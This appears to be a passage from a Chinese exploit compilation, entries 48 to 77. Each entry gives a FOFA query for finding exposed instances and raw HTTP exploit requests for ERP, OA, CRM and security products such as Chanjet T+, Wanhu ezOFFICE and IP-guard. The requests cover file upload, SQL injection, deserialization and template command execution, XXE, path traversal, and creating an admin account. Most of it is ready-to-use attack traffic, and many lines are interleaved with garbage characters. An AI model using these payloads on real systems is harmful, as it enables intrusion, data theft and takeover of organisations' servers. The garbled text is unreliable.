+ G3 s7 X$ ^" u3 _5 k" e9 \7 a; AIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close



48. 用友U8 CRM swfupload 任意文件上传
9 g$ i4 F2 f3 B- z7 YFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
2 d) C- R9 Y: c3 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 _7 ^, B, c' z0 o8 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* A3 k& [0 g6 ?$ c4 n6 W: UAccept-Encoding: gzip, deflate
4 a! u* `3 g& |/ r$ Z; ?Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
) n3 J, C4 L  R; FContent-Disposition: form-data; name="file"; filename="s.php"
0 ~0 |! l6 D  D1 m; r2 y1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
7 K! w9 |( t& A: y; k
- {6 G& k/ S- H1 Q- j
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

3 _3 c, L$ }' X. Y3 j* \POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
3 \+ g8 b9 L1 s% Q4 j; F# F/ n/ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 ^7 F+ y9 M6 U3 h! NConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
& k) v/ L) m8 m  O( XContent-Disposition: form-data; name="file"; filename="%s.php "
5 {, k& j2 x' n6 IContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
, X# A% U- k1 P. J2 W7 D  r, ^  y9 hContent-Disposition: form-data; name="upload"
/ v3 r( A/ Y7 b) u9 r
8 L9 u: t7 m# a1 x; V, Uupload
7 x: A; S6 K# Z& u- j% J-----------------------------vvv3wdayqv3yppdxvn3w--
7 q6 y+ f3 A4 z& I7 V

/ T5 T2 P2 E9 D6 Zhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
8 f( P3 ?* e' C) o/ cFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
8 S$ U- A6 d, ?- r$ }/ [User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
( L. R; e& j& ~Accept: */*
Accept-Language: en
! b' y4 p. n' kContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

) o  d" }" {# N& D+ L+ k
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
$ ]5 G7 E( f, n9 jFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
% H2 ~( o' g; b$ k' O# [8 d6 [User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
* d2 F, y, K* [+ }, K+ ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. S  e- C8 j- m% [2 t7 u: T; C5 }Accept-Encoding: gzip, deflate
1 C( E: V+ y- c6 D# Y9 xAccept-Language: zh-CN,zh;q=0.9
8 ~' f8 L; C/ Q8 \Connection: close

  X& a. @  h$ X% f: m/ v* r
52. 泛微E-Office json_common.php sql注入
( V1 L/ x( b4 r: iFOFA：app="泛微-EOffice"
/ m8 X4 a( M* \) j7 aPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
9 f8 J8 }, Z! k* S. r8 E: O: S9 hUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: q; d  Y1 k8 EConnection: close
Content-Length: 87
' s: R4 L- ?% P8 ?3 n; hAccept: */*
) c) a2 m7 |9 w+ N% D: i0 X" NAccept-Language: en
2 z- ?/ w- \% ?3 ~/ J1 GContent-Type: application/x-www-form-urlencoded
- U# t! L) v; x8 N- c6 J2 V4 n6 JAccept-Encoding: gzip
: |9 u2 H" V1 E
5 h. I& i- [/ ~* Vtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
5 L6 [- w0 k, [  ^

' L# H8 c" Z9 D5 Z  J3 y53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
' ], }5 f( k! }: y8 \

$ T* |4 p2 r- K! V$ z3 o! O$ m1 O/ b54. 畅捷通T+ getstorewarehousebystore 远程代码执行
& G: d2 t( _) z! A( RFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
5 s, F. X/ b* F" ^"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


3 P2 m6 g9 Y2 K/ E完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
# i- v. E! C( tHost: x.x.x.x
6 T. Z& _; K% K! }: ~User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

3 ?% L9 ]. B, L8 O{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
& ~9 {( }% @" M7 X& T( D  "ObjectInstance":{
3 l6 U: D% ^% i/ A2 s  l9 }# C   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
1 Y" c9 W" i( X    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
0 X1 F. j% k2 M, P' }5 O; R5 r}
1 R/ J% w' e8 `5 q  A2 F; n

5 g; f" _8 g8 P# }7 }- U第二步，访问如下url
1 S5 Y( J0 ~! N, u" K+ {4 U/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
) l5 D/ m2 r7 t: n0 Y3 f. v- \$ Z

55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
. D- N- X# Y$ j) ~% F# N) k5 ~$ m. f$ z' V第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
7 A/ J+ {  X2 _第二步，利用获取到的Cookie请求
* H3 M$ v, K$ M5 N# f3 z% r! p/ d/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
3 c: R( a* H5 V
# j8 S. w6 Y5 G- D- y; r. u4 K7 n  g56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
/ y7 w1 k' T3 C9 E- OPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
& j  ^: G, ]9 V   "MethodName":"Start",
8 j: p" T! Y$ E: ?# g( u    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
, [; E$ [1 P6 ^, E3 ^( ^           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
$ A  x/ U/ ^3 L( ]3 P( B4 I# o7 [           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
8 T2 L* [3 K1 k    }
  }
- A7 T+ D- Z7 j/ L' t1 T0 i( X}


8 ?6 |2 `1 ^4 n* I2 y5 B! V8 n6 k57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
; }5 c( ^' I' U$ q# D- m- DHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
& u, o/ ]+ X- s% \Accept-Encoding: gzip, deflate
* `: T6 K/ [; v' S: B* `Connection: close
) [7 b2 d: I( A/ w: m  R" C

58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
* H4 m9 S' O/ {& K0 PGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
) }% [0 }& \3 uAccept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
4 ^0 t' r3 H8 ^* A! W' ?8 L. bFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
, W, S: q+ E% ~) uHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
. J* i' m+ w+ J/ g6 ~1 q+ bContent-Length: 1669
. D  m2 B; k# ^' ~Accept: */*
7 Z6 a8 _/ Q9 b9 V) yAccept-Language: en
Content-Type: application/x-www-form-urlencoded
' m! C. g2 C8 m6 }Accept-Encoding: gzip
6 `* h6 O2 U* V" J! E
PAYLOAD
1 U, _! y0 f& R
  I7 Q0 h. Q2 @0 |3 `) e* `- h
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
" O9 ~6 G' Z* c- ~: cHost:
& E& H: Y8 @, x. Z( l* `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" e% K) k- S( R; {" G% ^, iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 i; V2 D5 _  L# VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, J0 I9 t6 o7 `/ l
6 O1 n( e' G& M& \' V+ V) \: k* ~
5 u. N( }$ x/ z( x61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
0 ~$ e/ T+ U# M5 p# w0 `POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
# G! m3 Z0 W4 N! Q% k6 r: VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
7 j+ x& d' T4 K+ HAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
) T8 M2 e7 ^8 g5 f6 b  V. IContent-Type: application/x-www-form-urlencoded

& U- [7 o: h( W/ F+ R% P, L) @7 f3 A8uxssX66eqrqtKObcVa0kid98xa
1 l" o( u# f. k7 R) [! i; N& L

62. IP-guard WebServer 远程命令执行
/ x+ T9 s- n! V6 o" b& b4 I' TFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
0 S+ t5 Q) K# Z1 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
; y! R$ u. {! iConnection: close
: ]6 K8 ?% ^" C! q6 o4 HAccept: */*
2 e5 F3 Q0 D+ F. a! jAccept-Language: en
7 n& S4 r* |# XAccept-Encoding: gzip

5 j( ?6 _, [- _' `& w6 s3 s
4 X  X# N5 t2 _) i/ Q. S2 K访问
/ E' y7 s7 [5 M2 V. X
1 z0 r& {* [9 J& E; ^6 eGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


8 l1 L' F: l: ]0 d  k63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
! g0 F8 d! ^( ^) mFOFA：icon_hash="2030860561"
* y9 f) H  j3 yPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
" x% ]+ G4 e6 s: I3 X' p- NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# R* }; I3 U; ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. ^6 M- g6 V( z# @3 A+ d5 O) KContent-Type: application/x-www-form-urlencoded
8 b8 W3 ?! `2 d; l8 H) I. S$ p
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
1 e  ^3 r+ P! K* A# U
, t7 v+ R# `+ z6 `2 [5 m: L' t, T64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
2 S4 r( c4 h4 M1 v+ }POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
: U. d; M- j* Z" l* t9 KHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
' ~- ^0 A& B) r  _2 M7 FContent-Length: 369
Accept: */*
6 I( h; v3 h) R9 Y/ p5 H! gAccept-Language: en
* b8 n" X# t  f% C/ V: fContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

9 z) B, [8 l/ G<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
- v  I' L% J8 l! h& z$ ]2 u3 ?    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  M$ ?2 Q( i4 a* G* [8 p6 ^  </soap:Body>
( n9 I) f/ P! z</soap:Envelope>

: e3 T1 m6 B, e1 d6 S9 |+ F9 c
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
9 {8 ?8 ]+ f! B/ d6 J% }FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
+ v8 `( m) U' ~% B% J6 w% |Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
: D9 m' p3 _/ E" F0 h1 ]Accept-Encoding: gzip, deflate
' g: \  Y  a  V# }# I' \' K1 pAccept: */*
$ O& o/ P6 Q% j; R) q7 dConnection: close
3 p' Q) _+ _6 _' }8 NAccept-Language: en
; W/ w' z7 @: Y2 T+ t: PContent-Length: 174
3 M7 G! s3 A. t: [' w5 n/ r3 L
6 W: q3 p# C7 ^  KoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

' P/ a- ?* x7 }4 |, r' g1 \" l
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
/ `# @; p, R+ I$ [Host: x.x.x.x
! v' S( `* ~; @3 i1 H+ uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
6 k; @& C5 \+ t7 L- fConnection: close
Accept: */*
9 e: s9 F# [1 l( a  t7 @1 ?# KAccept-Language: en
. o) k7 @! |/ VAccept-Encoding: gzip
: ]' b0 Z5 S' V# A
) X. H7 h2 b2 c# i, H  t
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
9 m( M, p8 V# T+ x
) @1 B+ p, X$ z67. 万户ezOFFICE wpsservlet任意文件上传
# I. f0 n: W- _7 z9 |* }FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
  T3 P. B3 {6 m4 ^POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
2 T; ]% q( x' j7 uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
% a% x$ m# S* `4 k& P  H) L0 ZConnection: close
' l: I& e, _7 W3 Q" K& C9 |" CContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
) S1 a+ D* h! Y) xUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

4 D/ ?! {4 B8 T* a3 B& A; |<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
- k/ T# [9 |' ]* [- j, m, x
* i7 Y. g7 t, C3 s
+ I. `2 M5 y+ o' ^* n文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

1 Z2 k2 L/ A- X) {, a68. 万户ezOFFICE wf_printnum.jsp SQL注入
# a" l% s9 m7 E' a/ I4 s; O9 ]0 J" iFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
; q/ L/ i5 ^3 @7 P. r( DHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
5 y2 N& G2 N* v: v1 }8 d0 g& ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) @- s# G; M3 Z6 F/ G; I
$ B+ I* l! ^, U" X: T" [
" k1 P5 e6 D: \- |+ `0 J69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
+ Q, J0 P; z7 s# @8 WConnection: keep-alive


3 ?8 F0 X% O, l70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
4 `# u! M: p) ^% U4 p6 jPOST /member/success.aspx HTTP/1.1
: p, b; P( g* u) ~. l( [) BHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
2 W& w6 }/ p) N, K" NSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
# l0 x- q9 M! Z* Q9 [$ A' v  UContent-Type: application/x-www-form-urlencoded
1 ^& O9 q* K3 ^; D; }, I1 Z; iTYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
& d. J6 j& h& j8 H
2 ^# K, z( |" j$ ?) r. p
! }! ]: o( x% o/ e( I71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
4 V% e% @0 f' K/ Z7 v. nGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
/ d9 h7 p( U$ m" ^0 fHost: x.x.x.xx.x.x.x
) {! r) Z9 w% K7 u( \+ J; W$ DUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
* F% E4 S1 H% X+ Y2 b* BConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. I# @, y/ F, ]Accept-Encoding: gzip, deflate
7 c+ H# |% T* g; o$ ~  Z5 u; OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' O7 ]; f6 k$ m3 u. W  O& }, rUpgrade-Insecure-Requests: 1
7 M+ d" M8 M' I3 V; l# W; U

5 G( k  w% l0 u3 |6 Z$ @' |72. 致远OA getAjaxDataServlet XXE
/ O" Q4 a# A# |8 p$ hFOFA：app="致远互联-OA"
  N" V! V- ?$ l3 r$ pPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
  J: E1 R9 H& wHost: 192.168.40.131:8099
& F7 o3 O# F+ G, i: j# iUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
1 ?! S7 ~4 Q$ N# V  _
4 h; ?7 |7 H* z* [  b( V; oS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

! n/ p6 t' v* {! Q) o0 T7 F; B. |
! J0 f- @. t  X$ @73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
+ o! Z1 i2 c2 O" f: e$ mPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
1 x1 F  Q4 ]- K) H9 `Content-Length: 1981
Accept-Encoding: gzip, deflate
, O% r8 g! @; }: M: {/ PConnection: close
Content-Type: application/xml
2 l' A9 O; Q8 V3 C6 D8 \6 k- }( |SL-CE-SUID: 3

PAYLOAD
5 n$ S: J4 L- C# {/ e- w

. u# I. }) @$ d! R( b8 W74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

* H' v9 d0 Q% B$ ]. U75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
/ t. e/ E. n5 U6 W+ FFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
9 I3 c% c' w: S) r0 o) }Host: x.x.x.x
9 p9 i7 u" s% N/ l: f4 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
0 J$ j* ]% e" {8 |Accept-Language: en
Accept-Encoding: gzip
: h/ o9 a" b8 s# g' z, ?
7 t$ F& T7 ?7 s) @
# ?6 A2 H) j' _! V+ ]GET /cgi-bin/test28256.txt HTTP/1.1
" D* \* [* j& V4 D: lHost: x.x.x.x

& X1 W8 y& s( t
76. 新开普掌上校园服务管理平台service.action远程命令执行
2 B7 M/ Y/ a- ], HFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
! y) ?% s9 Q! f# Z* h( e4 vConnection: close
7 H( K) o: ]# P/ K+ o! e9 o( X9 PContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 \: R$ B% O3 ?' p8 SAccept-Encoding: gzip, deflate
$ V; y; ^! D5 y8 t& ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
* g: I4 p0 `0 z- _$ L3 {" f  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
4 x) U$ U/ X2 C1 m  A}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
, v1 }# q. z. `, y+ k! L
$ F% s: {5 \: Z) V. V5 ]: r& X
5 l, j" i" p+ E& U9 o6 Y! Z! ~
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
5 i9 v. I, m6 u& s" d! FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
8 k& w4 W% z! ~2 hContent-Length: 433
# h; t* Z6 ?+ Q. e- V, cAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
